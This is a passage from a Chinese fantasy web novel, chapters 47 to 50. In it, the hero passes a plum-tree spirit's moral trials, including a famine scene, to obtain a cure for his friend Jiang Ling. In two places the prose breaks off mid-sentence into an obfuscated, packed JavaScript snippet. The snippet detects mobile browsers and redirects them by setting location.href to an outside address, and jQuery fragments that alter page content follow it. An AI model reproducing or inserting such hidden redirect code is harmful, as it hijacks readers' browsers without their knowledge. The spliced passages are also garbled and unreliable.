“一命还一命,这是你们人类最早就有的规则。”老梅树的声音如下咒一般在凌岓脑海中挥之不去,“难道这个小姑娘还不够可怜?难道你会同情一个间接杀人的罪犯?” 掌权者不敢和原告席上的女孩对视,她那双水汪汪的眼睛里含着无数委屈,人只要看上一眼,法槌就会不受控制地敲向代表死亡的选项。 凌岓握着法槌的手有点抖,他轻轻把手中的锤子挪向右边——那是代表“死立执”的方向。 “我已经道歉了。”被告突然带着哭腔出声,“我知错了,我已经道歉了。我在网上写了道歉信,现在挨的骂不比她少,我也给她家里人打了赔偿金,我真的知道错了!” 男人起初的呜咽变成了嚎啕,听得凌岓手下一顿。 “我知道是我罪有应得,我也知道我不配做人!可是法官大人,我家里上有老下有小,一大家子等着我养呢,您要是判我死刑,我的家人该怎么办?” 旁听席传来窃窃私语,意见开始有了分歧。 “我看他现在也挺惨的了,应该是真的知道错了吧。”有人小声说。 “他惨什么惨?早知今日何必当初!他造谣的时候怎么没想到有今天?”反对的人态度坚定。 “问题是罚也罚了,现在他也在经历网暴,这算赎罪了。再怎么说,不至于判死刑啊。”有人于心不忍。 “难道他有家人,受害者就没有家人了吗?”支持右边选项的人大声质问想要网开一面的人,临了还不忘冲凌岓喊上一句,“如果今天你这个法官不给他惩罚,你就是帮凶,是助长这种造谣和暴力的帮凶!” “可是这么草率就让人家死,完全不给人改过自新的机会,那不就是草菅人命嘛!” …… 一句又一句议论钻进耳朵里;一张一张愤怒的、惋惜的、同情的面孔浮现在眼前;一顶又一顶大帽子扣上来,凌岓握着法槌的手悬停在半空中。 “没有中间选项吗?”他也不知道自己这是在问谁,“在这个世界里,连监狱都没有吗?” “没有。”老树精讥诮着反问,“你们人类不是最讲正义,这个时候求什么折中?” 法槌落下,整个庭上鸦雀无声。有人如释重负地松了口气,也有人瞪圆了眼睛难以置信。 凌岓耳边传来“嗡嗡”声,一晃眼,所有的一切都在片刻模糊后消失不见。四周全然是白色的,老梅树就站在面前,眼神中还带着不明所以的探究。 “你认为你的选择是正确的?” “不正确,但是最优解。” “你就不怕在第一个考验里就失败而归?那样,你的朋友 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“看到对面的船了吗?”正当被考验者不知道要做什么时,老梅树突然发话了。 经他提醒,凌岓这才注意到在自己这艘船的不远处还有一艘更大的船。大船身上写着“远洋号游轮”,船的甲板上挤满了大呼小叫的人。 “这次的选项要比上一次的更简单。他们的船马上就要沉没了,但如果有人能阻止一下,这些人就没有葬身鱼腹的危险了。” “怎么阻止?”凌岓问,心里已经猜到了七八分。 “你头顶上的那位是货真价实的罪人,只要你拉一拉风绳,把他扔进海里,对面那一船人就有救。这一次选错了,你的朋友可就没救了。” 凌岓看了一眼高吊在上面昏迷不醒的人,又问,“他犯了什么罪?” “这不是你该知道的。总之,用一个罪人的性命换一船无辜者的性命总是不亏的吧。” 对面的船身开始有一点倾斜了,甲板上的人群发出惊慌失措的哭嚎喊叫,声声锥心。 “电车难题的变式?”凌岓自言自语。 “是什么难题不重要。重要的是,你现在看到的并非老朽制造出来的幻境,而是正在公海上实实在在发生的事情。”老梅树善意提醒,“本来他们是要遇难的,但我可以用千年神力救他们一把。至于救不救,决定权在你。” “只要有一个人被扔进海里,你就会救人?” “那是自然。老朽虽然看不上你们人类的做派,但在守信这上面,我还是认可的。”老梅树似乎回味出凌岓问题中的深意了,他又带着警告的意味说,“但前提是,只有这艘船上的人被扔下去才有效,而且扔下去之后,可是实实在在要被喂鱼的。” “哦,我明白。这次没开玩笑,非得死一个人,你才愿意帮忙。”凌岓不咸不淡地回应,“你最好是真的守信。” “我当然说到做到,才不像你们人类,出尔反尔……”话还没说完,老梅树的脸就黑了下来——他看见方才还和自己对话的年轻人一个猛子扎进海里,头都不曾抬一下。 “小鬼,鬼点子不用在正道上,钻空子倒是很厉害!” 老树精现在是真的想要反悔了——他本意是要逼凌岓亲手把吊在船桅上的那个人扔下去的,谁成想偏偏就是没直说的那一两句,让这艘船上的被考验者钻了空子。 乌云密布,雷声大作。老梅树长叹一口气,心知自己没有反悔的余地。他大手一挥,倾覆一半的游船果然停止了下沉。 海水又咸又苦,漫溢进了正向海底下坠的人的耳鼻之中。凌岓感觉光亮离自己越来越远,渐渐增强的水压更是让人喘不过气来。 他分明是闭着眼的,却清清楚楚看见了自己二十多年来所经历的一切——“这下真的走马灯了。” 在意识彻底模糊之前,凌岓隐隐约约看见了姜泠,他对她说了上千遍真心实意的抱歉,她却并没有责怪他,只是极温柔地笑着点了点头。 “你们人类最是麻烦!”老梅树的声音突然无比清晰地传来。 48. 第四十八章 浅淡的花香扑鼻,周遭冰冷黑暗的海水似乎被瞬间抽干了,被海水冻僵的四肢逐渐回到了柔软灵活的状态,凌岓的意识也开始慢慢回笼。 “终于醒了,算你小子福大命大。”老树精的脸从眼前挪远,他手里拿着一枝开满白梅的树枝,花香就是从这里散发出来的。 “你说话算数了吗?”一睁眼,凌岓先想到的是那艘甲板上人头攒动的游轮。 “我向来一言九鼎。”老梅树撇撇嘴。 “哦,那第二个考验算过了吧。” “过什么过,你这小鬼头分明是在钻空子!”老梅树蹭地站起身,胡子都要被气飞了。 “您也没说不能钻空子啊。”刚从水里被捞出来,凌岓的头发还是湿的,再加上他此刻的语气和表情,看起来格外无辜。 “这局算你违规,但也是我提前没说清楚,那就不输不赢。三局两胜,只要你能通过第三关考验,我亲自为你的朋友炼药。”老梅树笑意盈盈地问,“你看怎么样?你也可以选择现在就退出。” “就按您说的办。”凌岓也懒得问第三关有什么考验,他心里已经开始滋长考验通过后、姜泠醒来时的喜悦了。 “最后一个考验说难不难,说简单也不简单。”老梅树将手里的梅花枝递给眼前的年轻人,“你要走一条很长的路,这条路一两天时间才能走完。不过别担心,这条路是直的,没有什么曲里拐弯的障碍,你只要顺着走就行了。我就在路的尽头等你,给你三天时间,如果三天内你见到了我,那就是你赢了。” “不会这么简单吧。”凌岓一脸不可置信地看着手中的白梅枝。 “肯定不是只有走路这么简单,走路顶多是身体上累一累,算什么考验?”老树精摸着胡子继续道,“这根树枝与我相感应,只要你动了念,这条路就会断掉。届时,你就该回去了。” “动念?” “对,动念,尤其是动恶念。”老树精的手指突然变成了数千条延伸的根须,泥土翻裂,他却一脸风轻云淡,“你经过的这条路一路上见到什么、遇到什么我都清楚,你会有什么样的反应也逃不过我的法眼。最有意思的是,这根树枝会让你想做的事情成真。” 凌岓隐隐觉得不妙,他没答话,等待老树精的下文。 “前两关,你只拥有限定在小范围内的生杀大权。可到了这一关,你将拥有无限的权力。只要你动了某个念头,这根树枝就会让你的这个念头成真。譬如你想要做皇帝,那你就会成为皇帝;你想要处罚谁,那谁就会按照你的想法被处罚……不过,一旦动了念,考核就算失败。” “不论动了什么念都不行,是吗?”凌岓这下听明白了。 “也没有那么严苛。”老白梅得意地笑起来,“如果你心里的某个念头持续了足够长的时间,那就算失败。” “足够长是指多长?五分钟?十分钟?” “长到你无法放下,当你走到下一段路时仍然还想着上一个念头,那就算足够长。”突然想起凌岓纵身跳进汪洋的场景,老白梅又警告了一句,“中途为了放下念想而停止继续行路的话,也算失败。” “明白了。”凌岓点点头。 “休息够了的话知会我一声,我送你上路。”老白梅这句话听起来怪怪的,让人有种不那么好的预感。 “休息够了,时间不等人,快点吧。” 老树精这次没挥袖子,他揪住凌岓的衣领带他飞上了天。柔软浮动的白云载着两人经过了农田沙漠和山川大泽,最后停在了一条笔直的鹅卵石路前。 “就是这里,我在路的终点等你。记住,限时三天哦。”老白梅说完,头也不回地飞走了。 凌岓看着眼前一眼望不到头的路,毅然决然走了上去。他来的时候穿着一双专门用来徒步的鞋,因此走在鹅卵石路上也不觉得费劲儿。 第一个小时,路上什么都没有,既没遇到人,也没遇到动物。凌岓埋头赶路,恨不能脚下生风再多走一点。 约摸着走了七八公里的时候,凌岓耳边突然传来一阵嘈杂——他抬头一看,是几个扭打在一起的人。 行路者并不打算为此停留,他继续往前走,却被人叫住了。 “诶那位兄弟你等一下,你来给我们评评理!”其中一个人已经被捶了个眼眶乌青,他快步跟上行人的步伐说,“有人插队,我就劝了他一句,他就反手过来揍我。他还说他有理,刚好您在,您来给我们评评理。” “大兄弟,对不住了。我实在是有要紧事要忙,这种事情警察叔叔来评理才是最好的。” 凌岓敷衍着回应了一句,继续埋头往前走,心想:这么拙劣的演技,怎么还敢来当别人的拦路虎。 乌青眼闻言,没再继续跟上去。他看着男人远行的背影,摇身一变,变成了一棵长在路边的草。 又走了一个多小时,凌岓正纳闷着怎么自己今天不觉得渴,就听见一个熟悉的声音在喊他的名字。 “见了爸妈都不带回头的,你小子真是长出息了。”这个熟悉的声音正是自己母亲的声音,这种嗔怪的语气更是和何槿颐女士一模一样。 凌岓的脚步下意识慢了下来,却并没有停住。 “这么长时间都不回家,回家待一两天就要走,家里就跟你免费住的宾馆一样。”父亲的声音也传进耳朵,行路人侧目一看,真的看到自己的父母正跟着一同往前走。 “爸,妈,你们怎么在这儿?” 饶是先前已经做了很多心理建设,此刻突然看见双亲充满关心的面孔,凌岓还是没忍住回应了一句。 “家里有事的时候你不在,当然要来找你啦。”凌峰回答。 这下凌岓的脚步更慢了,他赶紧追问一句,“什么事儿?” “你能不能停下来听我们把话说完再走?你是安了永动机吗?”何女士又是心疼又是不满。 “不能停,边走边说吧。” “你爷爷病危,想见你最后一面。”何槿颐没再强求孩子停下来,只是跟着他一路往前,又直白地把这个消息告知给他。 “什么时候的事!”凌岓几乎就要一个急刹车停下来了,可理智却驱使着他继续赶路。 “你上次从西藏回来,我和你妈就想告诉你了。第一天没说,是想让你休息休息,结果第二天一早起来,你又没人了。” “跟爸妈回去吧,爷爷从小那么疼你,不回去见见他,你以后能安心吗?你要真的不回去,我就算白养你了。”何女士严肃起来。 凌岓家里是很常见的那种祖孙关系——爸妈不在,爷爷奶奶来带;爸妈发火,爷爷奶奶出面劝阻;爸妈不同意干的事,爷爷奶奶只要觉得有理,就会倾力支持他去做…… 即便家里条件很好,爷爷奶奶还是习惯于省吃俭用。可每次一说到自己想要什么,老两口绝对连眼睛都不眨一下就答应他的要求。要说不见到爷爷最后一面,凌岓真的觉得自己和畜生无异。 他看着父母严肃又关切的眼神,心里“咯噔”一下。这一瞬间,凌岓无比想刹住步子回家,可看到手里的梅树枝,这种念头又被打消了。 “你还是不跟我们回去吗?”凌峰的语气称得上是痛心疾首,“你爷爷在病床上最记挂的就是你,你连他最后一面都不想见…” 凌岓清清楚楚地感觉到自己在犹豫,犹豫之际,更多的是对老人家的担忧和发自内心的痛苦。老梅树那番关于“动念”的警告犹在耳畔回响,他只好捂住耳朵不听“父母”的碎碎念,一咬牙,继续往前走。 走了一段时间,凌岓松开手,跟着他的“父母”已经离开了。 对于家人,要说不牵挂是不可能的,可凌岓知道现在的牵挂会成为自己考验失败的原因。于是他边走边念叨,生生给自己成功洗脑,把方才的经历暂且忘却之后,才重新提起速度。 再往后走,凌岓又遇到了几次让人分心的干扰,但有了前两次的经验,他并没有把这些事情放在心上。 老梅树正在路的尽头悠哉悠哉小酌,他看着一点儿动静都没有的白梅枝,若有所思。 “还有最多一天,他就会走到这里。到时候你可要说话算话。”酒壶对面坐着的是不空老道的分身,他装作漫不经心的样子给自己倒酒,实则正在暗暗观察对面那个老树精的表情。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14277767|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一言既出,驷马难追。”老白梅神色无异,“但你真的觉得他能顺利走到这儿吗?” 凌岓已经走了一个昼夜,于他而言,现在正是分秒必争的时候。这条路从一开始的鹅卵石路变成了土路,又从土路变成了水泥路。 除此以外,路上的人还发现这条路是越走越宽阔;越往前行,见到的人和事就越多。 第一天,凌岓还会觉得老树精对人知之甚少,想出来的阻挠办法也没什么花样。可到了第二天,他又遇到了几遭足以让他心生犹豫的经历,这才不得不承认老梅树上千年的道行所言非虚。 头顶上阴云密布,过了一条狭长的桥,凌岓走到了一个满目荒芜的地方。路两旁的土地上长着几株歪歪扭扭的杂草,再往远处看,成片成片伏倒枯黄的庄稼歪歪斜斜地压在地上。按照常理推断,这儿应该有一个以种地为生的村落。 梅花枝的香味依然沁人心脾,可接下来的场面却让人无暇沉醉于花香之中。 起初,凌岓只看到了几个穿着破烂的讨饭人。走着走着,他离远处的庄稼地越近的时候,渐渐意识到了不对—— 道路两侧的人越来越密集,他们大多穿着没什么颜色和质感的破衣服;衣服又大又松,随便刮一阵风都能钻进他们的身体里;此外,手边脚下摆着一两个豁口的碗,更让他们看起来像灾民一样。 这些人面无表情,眼神中全是麻木,就连缩在母亲怀里的幼童都没有一声哭闹,直勾勾地盯着那片枯黄的土地。 凌岓脚下的步子愈发快了起来,这些人的眼神看得他发毛。 “有吃的!”突然有人高喊了这么一句。 霎时间,目光呆滞又四散着的人们像闻到血腥气的狼一般蠢蠢欲动。不知是谁先跳起来奔往一个方向,总之有第一个人带头以后,剩下的人便也跟着一哄而上。 凌岓没来得及看清这些灾民的目标是谁,他只见到一群丝毫不顾在奔跑中被踩踏于脚下的同类的人眼冒绿光,一窝蜂挤成了一堆。 “没了,没吃的!”有人在人堆里哀求,“这就是榆钱叶子,村口那边捡的!” 闻言,密不透风的人堆松动了些,又有人将信将疑地跑向了村口。 过路人从这两句对话中弄明白了境况——眼前这些人正在经历一场灾荒。 可能是天灾导致的颗粒无收,也可能是别的原因让整片庄稼烂在了地里。总之,这些难民模样的人们正在饱受饥饿的折磨。 榆钱叶子很快被分光了,人群一哄而散,没分到的人难掩失落地走向一边。没过多久,有人趴在地上用手挖出一捧土,然后把土全塞进嘴里,狼吞虎咽似的咽下了肚。 见此一幕,其他饿得发昏的难民有样学样,也跟着吃起土来。 “你莫说,咽下去还怪管饱!”嘴里嚼土的人这么说着,脸上露出一副满足的神情。 过路人一怔——他知道这是什么土了——观音土,常见于历史课本中的饥荒年份中。据说人吃了以后会有饱腹感,但这些土会在肠胃中凝结成块,最后,食用它的人也会因为无法将凝结物排泄出来而亡。 前几次遇到的事情都只关乎个人,凌岓说放下就能放下。但见到眼前这样大规模的惨状,他只觉得心急如焚,迫切地想要帮他们一把。 “这应该是快九十年前的事情了。”一路不吭声的老梅树隔空传话,“那时候你们还在打仗,这些人又遇到了洪水和大旱。用你们的话来说,这叫生灵涂炭。” “现在你有机会能救他们。只要你想,你停留下来,你手里的梅树枝就能带给他们雨水和粮食。”老树精问,“你知道饥荒年会遇到什么吗?” “人吃人”这三个字自动钻进脑海,凌岓在听到这问题的片刻还想到了另一个现象——易子而食。 道路两旁能见到的孩子并不少,有依偎在母亲怀中嗷嗷待哺的婴儿;也有拽着大人衣角奄奄一息的儿童。如果现在眼前发生了课本中描述的场景,凌岓不敢想那会有多恐怖。 “如果你愿意的话,他们的儿女后代应该有机会看到现在的世界。”老梅树说得轻描淡写,但这些字句却让听话的人左右为难。 49. 第四十九章 无需割肉放血,也无需付出何种巨大的代价。只需要一个念头和一双为此停留的脚步,这里的男女老少就能获得活下去的机会。此种交换,无论在什么样的市场里都算是占了大便宜的。 “你选择救他们,有百利而无一害。”老树精继续吹耳边风,吹着吹着又想起什么,“对了,也不算‘无一害’。唯一的受害者可能只有你那位朋友。不过她本来也活不长了,用一个将死之人的命换这么多人的命,还是一笔划算买卖。” “老东西真阴啊。”不空在一旁听着,暗自嘀咕道。 “不着急,你还有半天时间考虑。老朽也给你交个底儿,这是你最后一段路程,只要走过了这段,你就能见到我了。” “半天。”凌岓重复了一遍自己仅剩的时间,自嘲道,“还不如割肉放血来的痛快。” 阴云越积越浓,越蓄越低,黑滚滚的一片,像是要把全天下正在受苦的人统统压死。 “老天爷啊,给乃们一条活路吧。”苍苍白发的老人贴在地上长跪不起,泪水填满了他脸上的沟壑。 凌岓的步子越走越慢,他努力让自己不被这些难民所吸引。方才见过的人已经成为上一时的过客,现在正在相遇的人却并没有因为他的前行而生活得更好。 这段路像一座没有出口的苦狱,里面的人因为同一场灾祸受苦,尽管受苦的方式各有不同,却总归都是凄凄惨惨的。 路旁的人对他视而不见,过路人也想如此——紧闭双眼、捂住耳朵……没有哪一样能让自己逃离这种悲苦的气氛。 婴儿的啼哭声越来越弱,他的母亲眼睁睁看着怀里的小人儿渐渐没了气息。在这样的境况下,泪水丝毫没有用处。沉默的父亲磕了磕早就没有烟叶的烟斗,从母亲手里接过刚咽气的小人儿,然后转身把襁褓交给了自己的邻居。 当“易子而食”这四个字最终还是具像化地呈现于眼前时,凌岓停住了。 老梅树栽在身边的梅枝动了,这次他没有像从前那样调侃讥讽,反倒是一脸正经地说,“小伙子真的动念了。” “这不正是你希望看到的嘛,你难道还会觉得可惜?反正这些人在你眼里做什么都是咎由自取,何必在意?”不空正在研究他新得来的棋盘,听见对面的老树精这么一说,忍不住想阴阳怪气两句。 “动了念,一定是坏事吗?”老梅树也不知道在问谁。 白梅的淡淡清香突然变得浓烈了,拿着它的人有些无措——他心里清楚,这正是自己被当下的念头困住的表现。 “只要你明明白白地告诉我,你想要救他们,那我就能帮你救人。”老梅树盯着行路人的一举一动,但此时,他也说不清更希望凌岓开口求救,还是毅然决然地继续前行。 “能换种交易吗?”凌岓问,“割肉放血,在所不惜。” “没有。”老梅树好奇问,“你现在怎么不像第二关那样坚定地做选择了?” “我想救人,但不代表我能。”行路人犹豫不决,“第二关我可以自己跳下去,但现在没有这个选项。这就意味着,我要在救他们和救姜泠之间作出选择。” “还是那句话,以一个将死之人的命来换这些尚且有八九分希望的人的性命,很划算。”老梅树回应。 “但拿来交换的不是我自己的性命。你这么说,不过是因为慷他人之慨做起来最容易。” 老梅树哑口无言,不再回答。 “老小子,你也有今天!”不空几乎要笑出声来,“打个赌吧,不如让那个漂亮姑娘自己来决定。” “赌就赌!”白袍老人一甩手,“我肯定她不同意救这些人。” “那我跟你完全相反,我觉得她会。” “人性本就是自私的。”老白梅又换上了那副不屑的表情,“这个年轻人现在看到的,就是当时原原本本发生过的。如果人真有你说得那么好,那么天灾中就不会有那么多出卖自己儿女和妻子来换粮食的事情了。” “走着瞧吧。”不空并不急着反驳。 不下雨的阴天最让人觉得压抑,尤其还是处在一片哀鸿遍野之间。凌岓来来回回在路中间踱步,他不想在之后的路程中看到同类相食的残忍景象,也不想姜泠就此离世。 正在踌躇不前的时候,姜泠出现在他面前。 自从阴幛中出来以后,凌岓再也没有见过她睁开眼睛生龙活虎的样子。饶是从纸扎铺到今天也不过数日,他还是觉得这段时间过得无比漫长。 “我第一次见你这么犹豫。”姜泠一如既往的平静,“前几次在一起,我还以为你一直都是杀伐决断的人。” “杀伐决断?”凌岓失笑,又不放心地问道,“你真的是姜泠?还是那棵老树变出来的幻境?” “这个名字谁都能用。”女孩答非所问,“但现在和你说话的,是与你有过共同经历的姜泠。” “看来他们真的有办法救你。” “不如跟我说说,你在犹豫什么。” 两个人似乎在各说各话,可这样自顾自地回答却又能意外契合。 被考验者把这一路上遇到的事情和盘托出,对于最后这一程的困惑尤其作了强调。 “我想你…想你好好活着。你说过你要找你师父,师父没找到,我不希望你留下任何遗憾。”凌岓的陈述以这句话作为结尾。 “但你也不能真的任由这些人因为你的选择而死。”姜泠说。 “其实也算不上因为我的选择而死。梅树前辈说,这是快九十年前的事情了,即便我视而不见,他们也只是按照原定的历史轨迹走完自己的一生而已。” “那不一样。”姜泠摇摇头,仿佛这件事情她能置身事外,“在画里我们不能改变什么,是因为本质上我们没有改变历史的能力和权力。但现在,你有了这样的能力。这种能力所带来的不是蝴蝶效应,而是实实在在能在你眼前立刻就给出结果的。” “那不是我在救人,是我占用了你的权力做出的选择。” “所以我来了。” “什么意思?”凌岓不解。 “两棵千年老树打了个赌。他们把我从销骨针的囚笼中放出来,就为了赌我会作出什么样的选择。” “那你?” “如果想让自己活命,就无须来到这里见你一面了。”姜泠说得风轻云淡,似乎正在讨论的事情无关她的生死。 “姜泠,你…你不用被道德绑架,我从来也不认为多数人的性命就比一个人的性命重要。”知道了她的选择,凌岓反而觉得如鲠在喉,“你现在告诉我你想要弥补遗憾,那我一定会继续往前走,会努力把现在看到的一切都抹除。” “但那是出于你的真心,还是出于对朋友的哀求于心不忍?”姜泠的语气明明是温柔的,可在要做选择的人听来,却字字诛心,“你需要一个名正言顺的理由支持你在二选一中做出的选择,所以我来了。” “我没想过把你作为理由或者借口。”凌岓忙不迭解释道。 “你没明白我的意思。”站在眼前的姑娘嫣然一笑,连带着阴沉沉的天气都瞬间变得可爱起来,“我是在支持你想做的决定,因为那也是我想做的决定。” “可你会成为他们说的活死人,成为傀儡。”凌岓嗓子发干,无论如何也不想继续说下去。 “不会。”姜泠斩钉截铁地回答他,“如果骨医会让自己成为别人的傀儡,那也太窝囊了。在被彻底控制之前,我会有一万种办法毁灭神识。” “但我不想。”该做选择的人深感无力,他现在反而想要坚定地继续前行。 “我是一个没有心的人。”姜泠一字一句地对他说,“其实在去湔山之前,我已经帮人办过很多事了。我做的越多,我的能力就越强,玉玦修复的可能性也越大。但我反而觉得,无心之人未必就不如有心之人。” “人人都是肉体凡胎,可有心的人会为了这具肉体凡胎付出无数代价。为钱为名最常见,另有所图的也不少。你说遗憾,遗憾说到底也不过是没有得到的东西。” “走到最后,尘归尘土归土。所有得来的、失去的都会跟着变成过眼云烟,更何况遗憾呢?” “人一生,不过是一场虚妄梦境而已。有的人做美梦,有的人做噩梦。而我这种无心之人的梦境没有好坏之分,那反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14300718|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒不如成全你一个美梦。其实这样选,不仅是你,就连他们这些受苦之人的美梦,也能一并成全了。” “你怎么知道你就不会做美梦?”偏偏到了这时候,凌岓身上的叛逆劲儿上来了。 “严格来说,不是不会做美梦,而是因为遇到了一些人,我被人为地给予了一场还算不错的梦境。”姜泠那双眼睛好像突然复明了一样,她看着他,告诉他: “于我而言,骨医就是为成全他人而存在的。所以能成全你,成全这些人,就等同于在生命的最后关头,让一个没有梦境的人能为自己造一场美梦。” 拿着白梅枝的手轻轻垂下——凌岓知道,不管再怎么拖延也不可能会有两全其美的办法。尽管如此,他还是在想办法拖时间,至少这样做能让他和眼前人多相处一段时间。 “别犹豫啦。”姜泠总能在该讲风情的时候不解风情,她走过去,握着他的手,把那根梅花枝举到两人中间,“来之前,我也和两位老树前辈打了个赌。即便你做了这个决定,回去以后也不会觉得痛苦。” 明明梅枝是由被考验者直接握着的,可就在姜泠握紧他手的瞬间,白梅枝突然颤动起来。无数道细细的白光随梅香一同从花中飞出,直到把不属于这里的两个人团团围住。 离开之前,凌岓亲眼见证了“久旱逢甘霖”的场面——被乌云压低的天空骤然劈过一道雷电,云层快速堆挤、涌动,紧接着就是豆大的雨点尽数倾落。 雨水从黄土地流进了干涸的河道,从以农为生的灾民一张张喜极而泣的脸上流进被太阳晒到干裂的沟壑之中。 一场大雨过后,原先大片枯萎伏倒的禾苗直起了腰;枯黄的庄稼返老还童一般回到了令人悦目的翠绿色,它们似乎获得了某种神力的眷顾。 作为奇迹的见证者,凌岓看得目瞪口呆。思绪回笼,他再转头时,方才握着他手的人已经悄然不见了。 乌云飞动,华光流转,周遭的一切归于寂静时,眼前只剩下两个还流连于棋盘之上对峙的老树精。 “姜泠呢?”回来的人明知故问,又或者说,他希望听到一个不那么糟糕的回答。 “你不是已经有答案了嘛。”老梅树不抬眼,继续研究棋局。 “一命换一命。”凌岓看了一眼棋盘,“用我的命换她的命,我还能帮你下赢这盘棋。” “小娃娃,知不知道什么叫观棋不语?”不空笑呵呵地将一颗白子落在棋盘上,“你莫着急,至少等我们这盘棋下完再说。” 不空在人世间多年,有两个最大的爱好:一是弹琴,二是下棋。这两样爱好听起来都高雅,可实际上他哪样都不精通。果不其然,不空劝凌岓的话刚说完没多久,老梅树就赢了。 “我不做中间商,没有一命抵一命的说法。”老白梅看起来心情不错,语气和面色都缓和了许多。 见年轻人神色异常,不空赶紧接了一句,“它好歹也是个活了千年的老东西,不至于坏成那样。何况这场赌局可是我赢了,老东西不会真的让那姑娘香消玉殒的。” “这么说?” “说什么说!”老梅树打断另外两位的谈话,将一颗流光溢彩的玻璃珠子用梅花瓣裹起来,交到凌岓手上,语气不耐道,“回去把这个让她吞下去!” “这是…” “是什么是!” 年轻人又被打断,再一看,白袍老人已然没了踪影,眼前只剩下一棵耸入云霄的上古梅树。 古树声音低沉着送客,“快走快走!别让我再看到你们。” “走吧。”不空拍了拍在地上昏睡着的卫斯诚,“该回去了。” “怎么样?通过考验了吗?”卫斯诚揉着眼睛,完全没想起自己是怎么睡过去的。 “通过了。”老银杏不空抢答。 “我就说嘛,二位都是道行颇深的老前辈了,肯定是刀子嘴豆腐心。”卫斯诚就像嘴里有一个抹了蜜的轱辘,随时随地可以转变态度说好话,“当然了,我凌哥更是功不可没!” 凌岓心里是高兴的,但疑问挥之不去,连带着高兴也减弱了几分。他看向不空,却见到对方轻轻摇了摇头。 50. 第五十章 圆寂 暮鼓已经听过了,现在恰巧赶上晨钟。大铜钟的声音厚而洪亮,穿过一层一层的山林和云雾,荡涤在听到钟声的人心中。 不空和凌、卫二人回到宝济寺时,再没遇到小沙弥的询问。相反,平日里常闭着的寺门今天早早就敞开着,似乎惠灯大师早有预感他们会在今天回程。 看见姜泠安睡于禅房之中,凌岓那颗提到嗓子眼的心才算落回去了一半——这一半是看到她还在,没有像他担心的那样完全消失。 梅花瓣包裹着的玻璃珠子被小心翼翼地放在禅案上,老银杏不空用指尖轻轻点过这颗珠子,它便立刻化作梅花花芯中的一汪清水,干净澄亮。 没有电视剧里给病人喂药时的麻烦,不空只是轻轻往姜泠喉头一按,花芯中的清水连同花瓣便一道被伤者吞进了体内。 凌岓和卫斯诚静静站在一旁,都想等着看到伤员睁眼。可大半天过去了,姜泠还是一动不动地躺在那儿。 “这不会不管用吧。”卫斯诚小声嘀咕,“至纯至善的人也没找,这药能有用嘛。” 闻言,凌岓心下一惊——确实如此,就算老梅树格外开恩已经帮他们炼化了一颗救命药出来,可没有至纯至善者的血液作为药引,这颗药就和其他的草药没有太大区别。 “二位施主,师父说了,请您二位先随我去膳堂吃点斋饭。”那个守门的小沙弥很有礼貌地发出邀请。 “是啊,你们先去吃点东西填填肚子。要不然一会儿饿晕过去了,不就看不到她醒来了嘛。”不空道长附和道。 “可是…” “哎呀!可是什么可是!最烦你们这些一天到晚磨磨叽叽,总有一大堆‘可是’啊、‘但是’的人了。”老银杏向来不爱听人絮絮叨叨,他一伸手,把两个人硬推出门。 “二位施主,这边请。”小沙弥一只手捻着圆圆的佛珠,另一只手作出一个“请”的手势。 这下,凌岓和卫斯诚只得跟着小沙弥走了。 出发前,凌岓曾给洪钟发过一条请他帮忙搜集信息的消息。现在一有信号,未接来电、未读短信和通信软件上的红点都十分默契地显示出一个“99+”。 当着众僧人的面,两个外来客连大声说话都有所顾忌,更别说直接把电话回拨过去询问了。基于此,凌岓在对话框里先给洪钟报了个平安,打算等姜泠醒了以后再慢慢研究这些消息的内容。 宝济寺的斋饭很清淡,午饭只有清炒胡萝卜、油煸杏鲍菇和水煮西兰花三个菜色,主食是一碗清粥和一个馒头。 打饭的小师父十分热情,把饭菜递给两位客人后,又对他们说:“粥和馒头不限量供应,要是不够吃的话,下午还会加餐。” “谢谢!”卫斯诚微笑着道谢、端过餐盘,然后转脸就皱起眉头,换上一副愁苦的表情。 “不爱吃素?”凌岓问。 “还好。虽说我这个人无肉不欢,但对素菜也是很有包容心的。”说着,卫斯诚夹起一块胡萝卜塞进嘴里,竟然觉得意外好吃。 “那你这副祥林嫂一样的表情是怎么回事儿?” “担心我姐啊。”这句话一出口,两个人都没心情继续吃饭了。 “凌哥,你也看到了,这俩老妖…老仙人的药没有那么灵,我姐那么长时间都没醒,我真有点不放心。” 想起自己昏昏沉沉睡过去的那段时间,卫斯诚心中的疑虑更重了,“不空老道说,要用至纯至善之人的血液作为药引子,可是至纯至善之人跟哪儿呢?你见了吗?反正我是没见。” “你说的这些刚刚我也在思考。抓紧吃,吃完饭我们再回去看看…”—— 已经数不清这是第几次被打断了,凌岓刚想把自己思考出来的结果告诉同伴,就见一个僧人慌慌张张地奔进饭堂,嘴里重复大喊着:“不好了!师父圆寂了!” 膳堂里的所有人都停下了手中的动作,齐刷刷地看着这个奔门而入的僧人。 “看我干什么!师父…住持圆寂了!”报信的僧人急得直跺脚,恨不能立马长出一百只手,把盯着他的这些人全都扯去方丈的禅房。 “咣当”一声,一个胖和尚手中的瓷碗掉在地上,摔了个稀碎。下一秒,这个胖和尚带头跑出膳堂,叫喊的声音都带了些哭腔:“师父!师父!” 和吊儿郎当的不空不一样,同惠灯大师一见面,凌岓就觉得他是佛祖的化身——慈眉善目,心胸豁达,还愿意帮忙照顾一个完全不相识且不能自理的伤员…… 